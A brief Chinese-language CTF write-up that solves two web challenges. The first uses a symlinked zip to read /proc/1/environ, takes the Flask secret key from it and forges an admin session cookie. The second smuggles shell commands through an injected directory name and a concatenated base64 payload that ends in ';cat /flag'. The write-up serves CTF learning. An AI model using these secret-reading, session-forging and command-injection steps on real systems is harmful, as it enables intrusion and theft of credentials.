WebN1JCTF-wp随便看看
目录
【Web】N1JCTF wp(随便看看
online_unzipper
进来先试试功能
看看源码
注意到如果越权为admin,则可控制dirname的值
dirname为os.path.join的第二个参数
而os.path.join有一个逆天特性,如果能控制dirname为/,则可直接列出根目录下所有文件
想到zip很难不想到软连接,
但不能直接连接flag,因为文件名不可知
先尝试去越权到admin
一眼顶针读/proc/1/envrion,拿环境变量里的密钥
ln -s /proc/1/environ dummy.txt
zip --symlinks dummy.zip dummy.txt
下载读到FLASK_SECRET_KEY
python flask_session_cookie_manager3.py decode -c "eyJyb2xlIjoidXNlciIsInVzZXJuYW1lIjoiWjNyNHkifQ.aMkpjg.6IhjoNDIM7h_F6MD3QDu7Wr9sPU" -s "test"
python flask_session_cookie_manager3.py encode -s "test" -t "{'role': 'admin', 'username': 'Z3r4y'}"
成功伪造
指定dirname为/
看起来我的思路并不行;-(
换个路子,打命令注入
dummy;cat /* > /result.txt
ln -s /result.txt dummy2.txt
zip --symlinks dummy2.zip dummy2.txt
拿到flag
ping
感觉是命令注入
但正则限死了是只能是正常格式的ip
注意到第一个base64解码是用python的base64库,第二个用到是shell里的
思考的方向应该往二者之差异上去靠🤔
base64.b64decode默认validate为False,调用binascii.a2b_base64
去看binascii.a2b_base64的实现,是C封装的(
搜到了这篇文章
构造两段base64拼在一起
MTkyLjE2OC4xLjE=O2NhdCAvZmxhZw==
赢了
拿到flag
后面的题又是xss又是socket的,不是我认可的题我不做🤬